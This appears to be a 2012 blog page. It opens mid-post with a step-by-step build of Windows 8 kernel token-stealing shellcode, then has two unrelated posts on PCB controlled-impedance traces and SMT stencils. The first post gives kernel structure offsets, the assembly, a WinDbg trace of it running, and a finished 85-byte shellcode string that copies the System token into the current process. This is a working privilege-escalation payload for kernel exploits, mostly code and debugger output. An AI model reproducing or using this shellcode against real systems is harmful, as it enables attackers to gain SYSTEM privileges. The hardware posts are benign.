   +0x05c ChargeOnlyGroup  : Pos 8, 1 Bit
   +0x05c DeferPreemption  : Pos 9, 1 Bit
   +0x05c QueueDeferPreemption : Pos 10, 1 Bit
   +0x05c ForceDeferSchedule : Pos 11, 1 Bit
   +0x05c ExplicitIdealProcessor : Pos 12, 1 Bit
   +0x05c FreezeCount      : Pos 13, 1 Bit
   +0x05c EtwStackTraceApcInserted : Pos 14, 8 Bits
   +0x05c ReservedFlags    : Pos 22, 10 Bits
   +0x05c ThreadFlags      : Int4B
   +0x060 Spare0           : Uint4B
   +0x064 SystemCallNumber : Uint4B
   +0x068 FirstArgument    : Ptr32 Void
   +0x06c TrapFrame        : Ptr32 _KTRAP_FRAME
   +0x070 ApcState         : _KAPC_STATE
   +0x070 ApcStateFill     : [23] UChar
   +0x087 Priority         : Char
   +0x088 UserIdealProcessor : Uint4B
   +0x08c ContextSwitches  : Uint4B
...
... 

Well, the ApcState is at offset 0x70 from CurrentThread. Let's check _KAPC_STATE

kd> dt _kapc_state
nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x010 Process          : Ptr32 _KPROCESS
   +0x014 KernelApcInProgress : UChar
   +0x015 KernelApcPending : UChar
   +0x016 UserApcPending   : UChar

Nice, then the current process is at offset 0x80 from CurrectThread. Let's check
_KProcess.

kd> dt _kprocess
nt!_KPROCESS
   +0x000 Header           : _DISPATCHER_HEADER
   +0x010 ProfileListHead  : _LIST_ENTRY
   +0x018 DirectoryTableBase : Uint4B
   +0x01c LdtDescriptor    : _KGDTENTRY
   +0x024 Int21Descriptor  : _KIDTENTRY
   +0x02c ThreadListHead   : _LIST_ENTRY
   +0x034 ProcessLock      : Uint4B
   +0x038 Affinity         : _KAFFINITY_EX
   +0x044 ReadyListHead    : _LIST_ENTRY
   +0x04c SwapListEntry    : _SINGLE_LIST_ENTRY
   +0x050 ActiveProcessors : _KAFFINITY_EX
   +0x05c AutoAlignment    : Pos 0, 1 Bit
   +0x05c DisableBoost     : Pos 1, 1 Bit
   +0x05c DisableQuantum   : Pos 2, 1 Bit
   +0x05c AffinitySet      : Pos 3, 1 Bit
   +0x05c DeepFreeze       : Pos 4, 1 Bit
   +0x05c TimerVirtualization : Pos 5, 1 Bit
   +0x05c ActiveGroupsMask : Pos 6, 1 Bit
   +0x05c ReservedFlags    : Pos 7, 25 Bits
   +0x05c ProcessFlags     : Int4B
   +0x060 BasePriority     : Char
   +0x061 QuantumReset     : Char
   +0x062 Visited          : UChar
   +0x063 Flags            : _KEXECUTE_OPTIONS
   +0x064 ThreadSeed       : [1] Uint4B
   +0x068 IdealNode        : [1] Uint2B
   +0x06a IdealGlobalNode  : Uint2B
   +0x06c Spare1           : Uint2B
   +0x06e IopmOffset       : Uint2B
   +0x070 SchedulingGroup  : Ptr32 _KSCHEDULING_GROUP
   +0x074 StackCount       : _KSTACK_COUNT
   +0x078 ProcessListEntry : _LIST_ENTRY
   +0x080 CycleTime        : Uint8B
   +0x088 ContextSwitches  : Uint8B
   +0x090 FreezeCount      : Uint4B
   +0x094 KernelTime       : Uint4B
   +0x098 UserTime         : Uint4B
   +0x09c VdmTrapcHandler  : Ptr32 Void

We should check _eprocess because _kprocess is the first structure of _eprocess.

kd> dt _eprocess
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x0a0 ProcessLock      : _EX_PUSH_LOCK
   +0x0a8 CreateTime       : _LARGE_INTEGER
   +0x0b0 RundownProtect   : _EX_RUNDOWN_REF
   +0x0b4 UniqueProcessId  : Ptr32 Void
   +0x0b8 ActiveProcessLinks : _LIST_ENTRY
   +0x0c0 Flags2           : Uint4B
   +0x0c0 JobNotReallyActive : Pos 0, 1 Bit
   +0x0c0 AccountingFolded : Pos 1, 1 Bit
   +0x0c0 NewProcessReported : Pos 2, 1 Bit
   +0x0c0 ExitProcessReported : Pos 3, 1 Bit
   +0x0c0 ReportCommitChanges : Pos 4, 1 Bit
   +0x0c0 LastReportMemory : Pos 5, 1 Bit
   +0x0c0 NoWakeCharge     : Pos 6, 1 Bit
   +0x0c0 HandleTableRundown : Pos 7, 1 Bit
   +0x0c0 NeedsHandleRundown : Pos 8, 1 Bit
   +0x0c0 RefTraceEnabled  : Pos 9, 1 Bit
   +0x0c0 NumaAware        : Pos 10, 1 Bit
   +0x0c0 EmptyJobEvaluated : Pos 11, 1 Bit
   +0x0c0 DefaultPagePriority : Pos 12, 3 Bits
   +0x0c0 PrimaryTokenFrozen : Pos 15, 1 Bit
   +0x0c0 ProcessVerifierTarget : Pos 16, 1 Bit
   +0x0c0 StackRandomizationDisabled : Pos 17, 1 Bit
   +0x0c0 AffinityPermanent : Pos 18, 1 Bit
   +0x0c0 AffinityUpdateEnable : Pos 19, 1 Bit
   +0x0c0 PropagateNode    : Pos 20, 1 Bit
   +0x0c0 ExplicitAffinity : Pos 21, 1 Bit
   +0x0c0 ProcessExecutionState : Pos 22, 2 Bits
   +0x0c0 DisallowStrippedImages : Pos 24, 1 Bit
   +0x0c0 HighEntropyASLREnabled : Pos 25, 1 Bit
   +0x0c0 ExtensionPointDisable : Pos 26, 1 Bit
   +0x0c0 ForceRelocateImages : Pos 27, 1 Bit
   +0x0c0 ProcessStateChangeRequest : Pos 28, 2 Bits
   +0x0c0 ProcessStateChangeInProgress : Pos 30, 1 Bit
   +0x0c0 DisallowWin32kSystemCalls : Pos 31, 1 Bit
   +0x0c4 Flags            : Uint4B
   +0x0c4 CreateReported   : Pos 0, 1 Bit
   +0x0c4 NoDebugInherit   : Pos 1, 1 Bit
   +0x0c4 ProcessExiting   : Pos 2, 1 Bit
   +0x0c4 ProcessDelete    : Pos 3, 1 Bit
   +0x0c4 Wow64SplitPages  : Pos 4, 1 Bit
   +0x0c4 VmDeleted        : Pos 5, 1 Bit
   +0x0c4 OutswapEnabled   : Pos 6, 1 Bit
   +0x0c4 Outswapped       : Pos 7, 1 Bit
   +0x0c4 ForkFailed       : Pos 8, 1 Bit
   +0x0c4 Wow64VaSpace4Gb  : Pos 9, 1 Bit
   +0x0c4 AddressSpaceInitialized : Pos 10, 2 Bits
   +0x0c4 SetTimerResolution : Pos 12, 1 Bit
   +0x0c4 BreakOnTermination : Pos 13, 1 Bit
   +0x0c4 DeprioritizeViews : Pos 14, 1 Bit
   +0x0c4 WriteWatch       : Pos 15, 1 Bit
   +0x0c4 ProcessInSession : Pos 16, 1 Bit
   +0x0c4 OverrideAddressSpace : Pos 17, 1 Bit
   +0x0c4 HasAddressSpace  : Pos 18, 1 Bit
   +0x0c4 LaunchPrefetched : Pos 19, 1 Bit
   +0x0c4 Background       : Pos 20, 1 Bit
   +0x0c4 VmTopDown        : Pos 21, 1 Bit
   +0x0c4 ImageNotifyDone  : Pos 22, 1 Bit
   +0x0c4 PdeUpdateNeeded  : Pos 23, 1 Bit
   +0x0c4 VdmAllowed       : Pos 24, 1 Bit
   +0x0c4 CrossSessionCreate : Pos 25, 1 Bit
   +0x0c4 ProcessInserted  : Pos 26, 1 Bit
   +0x0c4 DefaultIoPriority : Pos 27, 3 Bits
   +0x0c4 ProcessSelfDelete : Pos 30, 1 Bit
   +0x0c4 SetTimerResolutionLink : Pos 31, 1 Bit
   +0x0c8 ProcessQuotaUsage : [2] Uint4B
   +0x0d0 ProcessQuotaPeak : [2] Uint4B
   +0x0d8 PeakVirtualSize  : Uint4B
   +0x0dc VirtualSize      : Uint4B
   +0x0e0 SessionProcessLinks : _LIST_ENTRY
   +0x0e8 ExceptionPortData : Ptr32 Void
   +0x0e8 ExceptionPortValue : Uint4B
   +0x0e8 ExceptionPortState : Pos 0, 3 Bits
   +0x0ec Token            : _EX_FAST_REF
   +0x0f0 WorkingSetPage   : Uint4B
   +0x0f4 AddressCreationLock : _EX_PUSH_LOCK
...
...

Fine, the ActiveProcessLinks is at offset 0xb8 from current process object. Besides,
it is important to note that UniqueProcessId and Token is at offset 0xb4 and 0xec,
respectively. Let's start to create our shellcode now.

mov eax,0xffdff124 //Just a dummy marker for KPCR, will correct later..
mov eax,[eax]      //The offset 0x124 is CurrentThread
mov eax,[eax+0x80] //The offset 0x80 is current Process
mov ebx,eax        //Store current Process in eax
searchpid:
mov ebx,[ebx+0xb8] //The offset 0xb8 is ActiveProcessLinks
sub ebx,0xb8
mov ecx,[ebx+0xb4] //The offset 0xb4 is UniqueProcessId
cmp ecx,4          //The pid of System process is 4
jnz searchpid
mov ecx,[ebx+0xec] //The offset 0xec is Token
mov [eax+0xec],ecx //Overwrite the Token in current Process
nop
nop
ret

Well, regarding how to parse GDT in getting KPCR, refer my previous paper.

sgdt fword ptr ds:[0FFDF0000h]
mov  eax,dword ptr ds:[FFDF0002h]
mov  dh,byte ptr [eax+37h]
mov  dl,byte ptr [eax+34h]
mov  bx,dx
shl  ebx,10h
mov  bh,byte ptr [eax+33h]
mov  bl,byte ptr [eax+32h]

The KPCR base will be in ebx now. Let's put everything together.

sgdt fword ptr ds:[0FFDF0000h]
mov  eax,dword ptr ds:[FFDF0002h]
mov  dh,byte ptr [eax+37h]
mov  dl,byte ptr [eax+34h]
mov  bx,dx
shl  ebx,10h
mov  bh,byte ptr [eax+33h]
mov  bl,byte ptr [eax+32h]
mov  eax,ebx
add  eax,0x124
mov  eax,[eax]     
mov  eax,[eax+0x80] 
mov  ebx,eax       
searchpid:
mov  ebx,[ebx+0xb8]
sub  ebx,0xb8
mov  ecx,[ebx+0xb4]
cmp  ecx,4         
jnz  searchpid
mov  ecx,[ebx+0xec]
mov  [eax+0xec],ecx
nop
nop
ret

Let's verify in our testing platform.

kd> a nt!hvlplogicalprocessorregions
811fb480 nop
nop
811fb481 nop
nop
811fb482 pushad
pushad
811fb483 nop
nop
811fb484 nop
nop
811fb485 sgdt [ffdf0000]
sgdt [ffdf0000]
811fb48c mov eax,[ffdf0002]
mov eax,[ffdf0002]
811fb491 mov dh,[eax+37]
mov dh,[eax+37]
811fb494 mov dl,[eax+34]
mov dl,[eax+34]
811fb497 mov bx,dx
mov bx,dx
811fb49a shl ebx,10
shl ebx,10
811fb49d mov bh,[eax+33]
mov bh,[eax+33]
811fb4a0 mov bl,[eax+32]
mov bl,[eax+32]
811fb4a3 mov eax,ebx
mov eax,ebx
811fb4a5 add eax,0x124
add eax,0x124
811fb4aa mov eax,[eax]
mov eax,[eax]
811fb4ac mov eax,[eax+0x80]
mov eax,[eax+0x80]
811fb4b2 mov ebx,eax
mov ebx,eax
811fb4b4 mov ebx,[ebx+0xb8]
mov ebx,[ebx+0xb8]
811fb4ba sub ebx,0xb8
sub ebx,0xb8
811fb4c0 mov ecx,[ebx+0xb4]
mov ecx,[ebx+0xb4]
811fb4c6 cmp ecx,4
cmp ecx,4
811fb4c9 jnz 811fb4b4
jnz 811fb4b4
811fb4cb mov ecx,[ebx+0xec]
mov ecx,[ebx+0xec]
811fb4d1 mov [eax+0xec],ecx
mov [eax+0xec],ecx
811fb4d7 nop
nop
811fb4d8 nop
nop
811fb4d9 ret
ret
811fb4da nop
nop
811fb4db nop
nop
811fb4dc popad
popad
811fb4dd nop
nop
811fb4de nop
nop
811fb4df

kd> uf nt!hvlplogicalprocessorregions
nt!HvlpLogicalProcessorRegions:
811fb480 90              nop
811fb481 90              nop
811fb482 60              pushad
811fb483 90              nop
811fb484 90              nop
811fb485 0f01050000dfff  sgdt    fword ptr ds:[0FFDF0000h]
811fb48c a10200dfff      mov     eax,dword ptr ds:[FFDF0002h]
811fb491 8a7037          mov     dh,byte ptr [eax+37h]
811fb494 8a5034          mov     dl,byte ptr [eax+34h]
811fb497 668bda          mov     bx,dx
811fb49a c1e310          shl     ebx,10h
811fb49d 8a7833          mov     bh,byte ptr [eax+33h]
811fb4a0 8a5832          mov     bl,byte ptr [eax+32h]
811fb4a3 8bc3            mov     eax,ebx
811fb4a5 0524010000      add     eax,124h
811fb4aa 8b00            mov     eax,dword ptr [eax]
811fb4ac 8b8080000000    mov     eax,dword ptr [eax+80h]
811fb4b2 8bd8            mov     ebx,eax

nt!HvlpLogicalProcessorRegions+0x34:
811fb4b4 8b9bb8000000    mov     ebx,dword ptr [ebx+0B8h]
811fb4ba 81ebb8000000    sub     ebx,0B8h
811fb4c0 8b8bb4000000    mov     ecx,dword ptr [ebx+0B4h]
811fb4c6 83f904          cmp     ecx,4
811fb4c9 75e9            jne     nt!HvlpLogicalProcessorRegions+0x34 (811fb4b4)

nt!HvlpLogicalProcessorRegions+0x4b:
811fb4cb 8b8bec000000    mov     ecx,dword ptr [ebx+0ECh]
811fb4d1 8988ec000000    mov     dword ptr [eax+0ECh],ecx

Let us verify the kernel shellcode by stepping over the HvlpLogicalProcessorRegions.

kd> r eip = nt!hvlplogicalprocessorregions
kd> ln eip
(811fb480)   nt!HvlpLogicalProcessorRegions   |  (81206480)   nt!HvlpNodes
Exact matches:
    nt!HvlpLogicalProcessorRegions =
kd> p
nt!HvlpLogicalProcessorRegions+0x1:
811fb481 90              nop
kd> p
nt!HvlpLogicalProcessorRegions+0x2:
811fb482 60              pushad
kd> p
nt!HvlpLogicalProcessorRegions+0x3:
811fb483 90              nop
kd> p
nt!HvlpLogicalProcessorRegions+0x4:
811fb484 90              nop
kd> p
nt!HvlpLogicalProcessorRegions+0x5:
811fb485 0f01050000dfff  sgdt    fword ptr ds:[0FFDF0000h]
kd> p
nt!HvlpLogicalProcessorRegions+0xc:
811fb48c a10200dfff      mov     eax,dword ptr ds:[FFDF0002h]
kd> p
nt!HvlpLogicalProcessorRegions+0x11:
811fb491 8a7037          mov     dh,byte ptr [eax+37h]
kd> p
nt!HvlpLogicalProcessorRegions+0x14:
811fb494 8a5034          mov     dl,byte ptr [eax+34h]
kd> p
nt!HvlpLogicalProcessorRegions+0x17:
811fb497 668bda          mov     bx,dx
kd> p
nt!HvlpLogicalProcessorRegions+0x1a:
811fb49a c1e310          shl     ebx,10h
kd> p
nt!HvlpLogicalProcessorRegions+0x1d:
811fb49d 8a7833          mov     bh,byte ptr [eax+33h]
kd> p
nt!HvlpLogicalProcessorRegions+0x20:
811fb4a0 8a5832          mov     bl,byte ptr [eax+32h]
kd> p
nt!HvlpLogicalProcessorRegions+0x23:
811fb4a3 8bc3            mov     eax,ebx
kd> p
nt!HvlpLogicalProcessorRegions+0x25:
811fb4a5 0524010000      add     eax,124h
kd> r eax
eax=81209000
kd> dg 30
                                  P Si Gr Pr Lo
Sel    Base     Limit     Type    l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0030 81209000 00004280 Data RW Ac 0 Bg By P  Nl 00000493
kd> p
nt!HvlpLogicalProcessorRegions+0x2a:
811fb4aa 8b00            mov     eax,dword ptr [eax]
kd> r eax
eax=81209124

Nice, eax is pointing to the CurrentThread right now. Let us continue to step over
our shellcode.

kd> p
nt!HvlpLogicalProcessorRegions+0x2c:
811fb4ac 8b8080000000    mov     eax,dword ptr [eax+80h]
kd> r eax
eax=812180c0
kd> p
nt!HvlpLogicalProcessorRegions+0x32:
811fb4b2 8bd8            mov     ebx,eax
kd> r eax
eax=83964cc0

Let's check what is our current process now...

kd> !process 83964cc0 0
PROCESS 83964cc0  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00185000  ObjectTable: 82403000  HandleCount:
    Image: System

Yes, we are already in System because we force kernel break from Windbg. Let's step
over the shellcode again.

kd> p
nt!HvlpLogicalProcessorRegions+0x34:
811fb4b4 8b9bb8000000    mov     ebx,dword ptr [ebx+0B8h]
kd> p
nt!HvlpLogicalProcessorRegions+0x3a:
811fb4ba 81ebb8000000    sub     ebx,0B8h
kd> p
nt!HvlpLogicalProcessorRegions+0x40:
811fb4c0 8b8bb4000000    mov     ecx,dword ptr [ebx+0B4h]
kd> r ebx
ebx=84a85cc0
kd> !process 84a85cc0 0
PROCESS 84a85cc0  SessionId: none  Cid: 00f4    Peb: 7f05a000  ParentCid: 0004
    DirBase: 3e48e020  ObjectTable: 89c43a00  HandleCount:
    Image: smss.exe

The next process is smss.exe. Well we are starting to walk through the eprocess
link list. Since our current process is System, we need to turn a full round to
get back to System again. Let's see.

kd> u
nt!HvlpLogicalProcessorRegions+0x40:
811fb4c0 8b8bb4000000    mov     ecx,dword ptr [ebx+0B4h]
811fb4c6 83f904          cmp     ecx,4
811fb4c9 75e9            jne     nt!HvlpLogicalProcessorRegions+0x34 (811fb4b4)
811fb4cb 8b8bec000000    mov     ecx,dword ptr [ebx+0ECh]
811fb4d1 8988ec000000    mov     dword ptr [eax+0ECh],ecx
811fb4d7 90              nop
811fb4d8 90              nop
811fb4d9 c3              ret
kd> bp 811fb4cb
kd> bl
 0 e 811fb4cb     0001 (0001) nt!HvlpLogicalProcessorRegions+0x4b

kd> g
Breakpoint 0 hit
nt!HvlpLogicalProcessorRegions+0x4b:
811fb4cb 8b8bec000000    mov     ecx,dword ptr [ebx+0ECh]
kd> r ebx
ebx=83964cc0
kd> !process 83964cc0 0
PROCESS 83964cc0  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00185000  ObjectTable: 82403000  HandleCount:
    Image: System

Yes, we are backed to the System process again. Let's try to change its own token.

kd> p
nt!HvlpLogicalProcessorRegions+0x51:
811fb4d1 8988ec000000    mov     dword ptr [eax+0ECh],ecx
kd> r ecx
ecx=82401563
kd> dd eax+ec l1
83964dac  82401563
kd> p
nt!HvlpLogicalProcessorRegions+0x57:
811fb4d7 90              nop
kd> dd eax+ec l1
83964dac  82401563

Nothing special here, just doing something dummy... Let's revert everything to
original now. In our case here, the ret instruction should be bypass.

kd> u
nt!HvlpLogicalProcessorRegions+0x57:
811fb4d7 90              nop
811fb4d8 90              nop
811fb4d9 c3              ret
811fb4da 90              nop
811fb4db 90              nop
811fb4dc 61              popad
811fb4dd 90              nop
811fb4de 90              nop
kd> r eip
eip=811fb4d7
kd> r eip = 811fb4da
kd> u eip
nt!HvlpLogicalProcessorRegions+0x5a:
811fb4da 90              nop
811fb4db 90              nop
811fb4dc 61              popad
811fb4dd 90              nop
811fb4de 90              nop
811fb4df 0000            add     byte ptr [eax],al
811fb4e1 0000            add     byte ptr [eax],al
811fb4e3 0000            add     byte ptr [eax],al

Well, we are on the right track now. Let's revert everything to initial state.

kd> p
nt!HvlpLogicalProcessorRegions+0x5b:
811fb4db 90              nop
kd> p
nt!HvlpLogicalProcessorRegions+0x5c:
811fb4dc 61              popad
kd> p
nt!HvlpLogicalProcessorRegions+0x5d:
811fb4dd 90              nop
kd> r eip = 811003a4
kd> r eip
eip=811003a4

The system should run as usual right now. Let's verify.

kd> g
Break instruction exception - code 80000003 (first chance)
*******************************************************************************
*                                                                             *
*   You are seeing this message because you pressed either                    *
*       CTRL+C (if you run kd.exe) or,                                        *
*       CTRL+BREAK (if you run WinDBG),                                       *
*   on your debugger machine's keyboard.                                      *
*                                                                             *
*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *
*                                                                             *
* If you did not intend to break into the debugger, press the "g" key, then   *
* press the "Enter" key now.  This message might immediately reappear.  If it *
* does, press "g" and "Enter" again.                                          *
*                                                                             *
*******************************************************************************
nt!RtlpBreakWithStatusInstruction:
811003a4 cc              int     3
kd> g

Excellent, the Windows 8 system is running well again. Let's extract our shellcode
now.

kd> db nt!hvlplogicalprocessorregions
811fb480  90 90 60 90 90 0f 01 05-00 00 df ff a1 02 00 df  ..`.............
811fb490  ff 8a 70 37 8a 50 34 66-8b da c1 e3 10 8a 78 33  ..p7.P4f......x3
811fb4a0  8a 58 32 8b c3 05 24 01-00 00 8b 00 8b 80 80 00  .X2...$.........
811fb4b0  00 00 8b d8 8b 9b b8 00-00 00 81 eb b8 00 00 00  ................
811fb4c0  8b 8b b4 00 00 00 83 f9-04 75 e9 8b 8b ec 00 00  .........u......
811fb4d0  00 89 88 ec 00 00 00 90-90 c3 90 90 61 90 90 00  ............a...
811fb4e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
811fb4f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

kd> uf nt!hvlplogicalprocessorregions
nt!HvlpLogicalProcessorRegions:
811fb480 90              nop
811fb481 90              nop
811fb482 60              pushad
811fb483 90              nop
811fb484 90              nop
811fb485 0f01050000dfff  sgdt    fword ptr ds:[0FFDF0000h]
811fb48c a10200dfff      mov     eax,dword ptr ds:[FFDF0002h]
811fb491 8a7037          mov     dh,byte ptr [eax+37h]
811fb494 8a5034          mov     dl,byte ptr [eax+34h]
811fb497 668bda          mov     bx,dx
811fb49a c1e310          shl     ebx,10h
811fb49d 8a7833          mov     bh,byte ptr [eax+33h]
811fb4a0 8a5832          mov     bl,byte ptr [eax+32h]
811fb4a3 8bc3            mov     eax,ebx
811fb4a5 0524010000      add     eax,124h
811fb4aa 8b00            mov     eax,dword ptr [eax]
811fb4ac 8b8080000000    mov     eax,dword ptr [eax+80h]
811fb4b2 8bd8            mov     ebx,eax

nt!HvlpLogicalProcessorRegions+0x34:
811fb4b4 8b9bb8000000    mov     ebx,dword ptr [ebx+0B8h]
811fb4ba 81ebb8000000    sub     ebx,0B8h
811fb4c0 8b8bb4000000    mov     ecx,dword ptr [ebx+0B4h]
811fb4c6 83f904          cmp     ecx,4
811fb4c9 75e9            jne     nt!HvlpLogicalProcessorRegions+0x34 (811fb4b4)

nt!HvlpLogicalProcessorRegions+0x4b:
811fb4cb 8b8bec000000    mov     ecx,dword ptr [ebx+0ECh]
811fb4d1 8988ec000000    mov     dword ptr [eax+0ECh],ecx
811fb4d7 90              nop
811fb4d8 90              nop
811fb4d9 c3              ret

So, the proper kernel shellcode to perform token stealing in Windows 8 is 85 bytes.

Token_Stealing_Shellcode_For_Windows_8=(
"\x0f\x01\x05\x00\x00\xdf\xff\xa1\x02\x00\xdf\xff\x8a\x70\x37\x8a"
"\x50\x34\x66\x8b\xda\xc1\xe3\x10\x8a\x78\x33\x8a\x58\x32\x8b\xc3"
"\x05\x24\x01\x00\x00\x8b\x00\x8b\x80\x80\x00\x00\x00\x8b\xd8\x8b"
"\x9b\xb8\x00\x00\x00\x81\xeb\xb8\x00\x00\x00\x8b\x8b\xb4\x00\x00"
"\x00\x83\xf9\x04\x75\xe9\x8b\x8b\xec\x00\x00\x00\x89\x88\xec\x00"
"\x00\x00\x90\x90\xc3"
)

pdf version:


http://www.scribd.com/doc/113582171/Design-and-Implementation-of-Token-Stealing-Kernel-Shellcode-for-Windows-8


Thursday, November 15, 2012

What is Controlled Impedance Trace ? A Simple Guide To PCB Design For Embedded System

What is Controlled Impedance Trace ? A Simple Guide To PCB Design For Embedded System

by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com)

on 14/11/2012

In embedded hardware design, the interconnects among SMDs on the PCB are mission
critical individually. For example, the trace in connecting clock source to the
DDR-RAM is very crucial in order to ensure the DDR-RAM can work in proper. Otherwise,
the jitter issue will be the root cause to stop the hardware from working properly.
Well, this is about the topic of signal integrity. In fact, any single trace on the
PCB has its own characteristic impedance, and the characteristic impedance is due to
inductance and capacitance, which are based on the factors of trace's length and
width, dielectric material of the PCB, thickness of PCB, and etc. In electromagnetic,
characteristic impedance is also known as Zo. Sometimes, it is easily to mix up the
characteristic impedance (Zo) with the intrinsic impedance (Zi), but both of them are
really different. Instead of considering inductance and capacitance in characteristic
impedance, the intrinsic impedance is based on permeability and permittivity, which
is more on the factors of electric and magnetic fields of transmission medium. Hence,
the intrinsic impedance has wider scope than the characteristic impedance, and it
covers any type of transmission medium such as transmission line, waveguide, or even
freespace. Well, the intrinsic impedance is out of the topic of embedded hardware
design, and it is better to refocus to characteristic impedance again.

So, we can make a simple assumption here, any single trace on the PCB has its own
characteristic impedance. But, there is another issue here, which is, when we talk
about impedance, it is closely related to the frequency. Then, what frequency we
are going to refer when measuring the characteristic impedance ? For example, in
doing impedance measurement of a loud speaker, it is always to refer the frequency
is at 1kHz. Fine, it is not the same issue as in characteristic impedance. Instead,
it is about the instantaneous voltage to current ratio of the transmission line, or
the trace, in our discussion here. Of course, the ratio is based on the inductance
and capacitance of the trace. In most of the time, the characteristic impedance (Zo)
is defined as SQRT(L/T), where L and T represent inductance and capacitance,
respectively. On the other hand, for your own info, the intrinsic impedance (Zi) is
defined as SQRT(u/e), where u and e represent permeability and permittivity,
respectively.

Then what is controlled impedance trace now ? We know the impedance is about the
characteristic impedance, how about "controlled" ? Yes, it means the characteristic
impedance of the trace need to be controlled at a specific value. But why we need to
do so ? Yes, it is based on the specification. For example, the characteristic
impedance for Compact PCI standard backplane is 65 ohm. How about DDR-RAM ? By
referring "Hardware and Layout Design Considerations for DDR2 SDRAM Memory Interface"
from freescale (http://www.freescale.com/files/32bit/doc/app_note/AN2910.pdf), it is
stated in checklist item 37 on page 5 about the differential clock should be routed
at 50-60 ohm of impedance for each single-ended with proper spacing. Why we need to
do so ? Can we simply ignore it ? No, it is really not recommended. The reason is the
impedance should be matched in order to prevent the occurrence of reflection. In
general, for those transmission lines without proper termination with matched
impedance, the incoming signal will be reflected in different phase, which is
dependent to the level of mismatching. This will affect the signal integrity of the
transmission line. But, our issue right now is the trace will be terminated at the
DDR-RAM which is about 50 ohm, and what will happen if the trace itself is not in
50 ohm. Well, the answer is simple, this will cause signal degradation and
distortion, and eventually incurring jitter and noise effects. But, how the PCB
manufacturer can make sure a trace has a controlled impedance, let's say 50 ohm,
accordingly ? For example, in the PCB design of our embedded hardware, we specify
all the traces with 5 mil (0.005 inch) width must have controlled impedance of 50 ohm
where the tolerance is +/- 5 ohm. So, when the PCB manufacturer start to fabricate
the board, in regarding to those traces with 5 mil width, they might adjust the width
of the traces based on the PCB conditions such as dielectric thickness, dielectric
material, length of individual traces, and etc, accordingly. Hence, for those traces
with 5 mil width in PCB drawing might have slightly changed individually on the real
board. As a result, each of the traces will have characteristic impedance within the
range of 45 ohm to 55 ohm. So, the resulting board should work well accordingly.

pdf version:

http://www.scribd.com/doc/113340928/What-is-Controlled-Impedance-Trace

Tuesday, November 13, 2012

What is Stencil in SMT Design ? A Simple Guide To SMT in Embedded Hardware Design

What is Stencil in SMT Design ? A Simple Guide To SMT in Embedded Hardware Design

by cawan (cawan[at]ieee.org, chuiyewleong[at]hotmail.com)

on 13/11/2012

Embedded hardware design in most of the times applying Surface Mount Technology
(SMT). SMT is about to "stick" all the Surface Mount Devices (SMD) such as resister,
capacitor, inductor, diod, integrated circuit (IC), and etc. Each SMD has respective
packaging in order to fit itself onto the solder pad of printed circuit board (PCB).
For resister or capacitor, its packaging is normally expressed in the form of length
and width, such as 0805 or 0603. For the case of 0805, it means the SMD's length and
width is 0.08 inch (2.0mm) and 0.05 inch (1.2mm), respectively. On the other hand,
the dimension on PCB to fit the 0805 SMD should be 0.12 inch (3.05mm) length and
0.05 inch (1.2mm) width. Of course the dimension of solder pads are clearly defined
by the standard accordingly. For the case of IC packaging, it is normally about QFP
or BGA. QFP has all the pins aligned properly at 4 edges of the rectangular IC.
However, BGA deploys all the pins as ball grid underneath or at the bottom side of
the rectangular IC. Both of them (QFP and BGA) have their own manufacturer dependent
definition about the dimension of pin length, width, and pitch. Besides, it is
important to note that BGA can support higher clock speed than QFP due to the reason
of shorter route from core to pin (better known as ball) interconnect. So, BGA is
mostly applied in DDR-RAM or SoC which is operating in high-speed or high clock speed.

Well, with all the solder pads exposed for soldering process later, the rest are
covered or protected by solder mask. So, it is impossible to solder at the area of
solder mask. In fact, for SMT, it is unusual to perform soldering process manually.
Instead of it, automated PCB assembly is a better or more appropriate approach. This
is because it is rather hard to minimize the mistakes such as component misplace,
not proper solder, over solder, or lead overflow and cause short circuit on board.
Try to imagine, is it logical to expect a human being to solder 20 types of 0603 and
0805 mixture of SMDs where the total quantity is about 300 on a 9cm x 6cm PCB without
any mistake ? Yes, it is almost impossible. As a better approach, the assembly process
should be automated by machine, and the process is normally known as PCBA. The PCBA is
about to automate the process of placing and aligning all SMT components onto the PCB
and solder all of them together. Well, it involves 2 steps, first, placing and
aligning the SMT components; and second, to solder all of them together. Let's start
from the first step. In order to put all the SMT components properly onto the PCB, we
need a very precise pick-and-place process, but this shouldn't a problem. The real
concern is about how to make sure all the SMT components do not misalign on the PCBA
process. Yes, we need some kind of "glue" to "stick" them onto the PCB. Of course, in
PCBA process, we can't expect UHU or any superglue can work well. Instead, we need
flux to do the job. Just assume flux is some kind of chemical to improve the soldering
process by making the solder lead has good join to the solder pad. So, we need some
mechanism to put flux onto all the solder pad of the PCB now. In this case, we need
stencil. Stencil is a piece of stainless steel which is almost the size of the PCB.
On stencil, at the position of each solder pad, it has a hole with respective
dimension of the solder pad, and it is made by laser. Hence, the appearance of a
stencil is about a piece of stainless steel board which is full with holes. So, by
putting the stencil onto the PCB, it is simple to put flux onto all the solder pads
of the PCB in one-shot. Well, while all the solder pads with flux, it is also known
as solder pastes. As what the meaning of "paste" is indicated, it is simple to perform
pick-and-place of SMT components onto the PCB and also to ensure the components are
properly aligned on the process of PCBA. Lastly, the second step or the last step of
PCBA is about to put the PCB with all the SMT components "stick" onto the respective
solder pads into oven. So, once the solder lead begins to melt, the mixture with flux
will join all the SMT components onto the solder pads accordingly.

pdf version:

http://www.scribd.com/doc/113081091/What-is-Stencil-in-SMT-Design